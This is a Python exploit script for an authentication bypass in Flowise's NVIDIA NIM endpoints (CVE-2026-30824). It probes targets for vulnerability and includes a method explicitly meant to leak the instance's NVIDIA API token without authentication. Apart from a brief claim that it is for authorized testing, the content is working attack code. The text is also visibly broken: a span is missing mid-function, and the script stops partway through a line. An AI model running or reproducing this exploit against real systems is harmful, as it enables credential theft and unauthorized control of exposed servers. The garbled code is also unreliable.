#!/usr/bin/env python3 """ CVE-2026-30824 — Flowise NVIDIA NIM Authentication Bypass Exploit for authorized penetration testing only. Affects: Flowise < 3.0.13 CVSS: 9.8 (Critical) CWE-306: Missing Authentication for Critical Function The /api/v1/nvidia-nim/* path is whitelisted in the global auth middleware, allowing unauthenticated access to container management and token generation. """ import requests import json import argparse import sys import time from urllib.parse import urljoin # ANSI color codes GREEN = '\033[92m' RED = '\033[91m' YELLOW = '\033[93m' BLUE = '\033[94m' RESET = '\033[0m' BOLD = '\033[1m' class FlowiseAuthBypass: """Exploit for CVE-2026-30824 — Flowise NVIDIA NIM Auth Bypass.""" def __init__(self, target: str, verify_ssl: bool = False, timeout: int = 15): self.target = target.rstrip("/") self.verify_ssl = verify_ssl self.timeout = timeout self.session = requests.Session() self.session.verify = verify_ssl def _request(self, method: str, path: str, data: dict = None, headers: dict = None): """Send an unauthenticated request to an NVIDIA NIM endpoint.""" url = urljoin(self.target, path) req_headers = {"Content-Type": "application/json"} if headers: req_headers.update(headers) try: if method.upper() == "GET": resp = self.session.get(url, headers=req_headers, timeout=self.timeout) else: resp = self.session.post(url, headers=req_headers, json=data, timeout=self.timeout) # Debug: print endpoint info if response is HTML if " bool: """ Determine if the target is vulnerable by probing /get-token. A vulnerable instance will return an accessible endpoint (200, 400, 500 with response). A patched instance will return 401 Unauthorized. """ resp = self._request("GET", "/api/v1/nvidia-nim/get-token") if isinstance(resp, dict) and resp.get("error"): print(f"{RED}[-] Connection error: {resp['error']}{RESET}") return False if resp.status_code == 401: print(f"{YELLOW}[-] Target returns 401 — likely patched (>= 3.0.13){RESET}") return False if resp.status_code == 404: print(f"{YELLOW}[-] Endpoint not found — target may not be Flowise{RESET}") return False # 5xx errors (502, 503, etc.) indicate server issues, not vulnerability if resp.status_code >= 500: print(f"{YELLOW}[-] Server error (HTTP {resp.status_code}) — target may be down or misconfigured{RESET}") return False # Vulnerable: responds with accessible endpoint (2xx, 3xx, or application-level errors like 400) if resp.status_code < 500: print(f"{GREEN}{BOLD}[+] Target appears VULNERABLE (HTTP {resp.status_code}){RESET}") print(f" Response: {resp.text[:300]}") return True return False def get_token(self): """ Leak the NVIDIA API token. GET /api/v1/nvidia-nim/get-token """ print("[*] Attempting to leak NVIDIA API token...") resp = self._request("GET", "/api/v1/nvidia-nim/get-token") if isinstance(resp, dict) and resp.get("error"): print(f"[-] Error: {resp['error']}") return None # Check if we got HTML instead of JSON (endpoint may be wrong) if "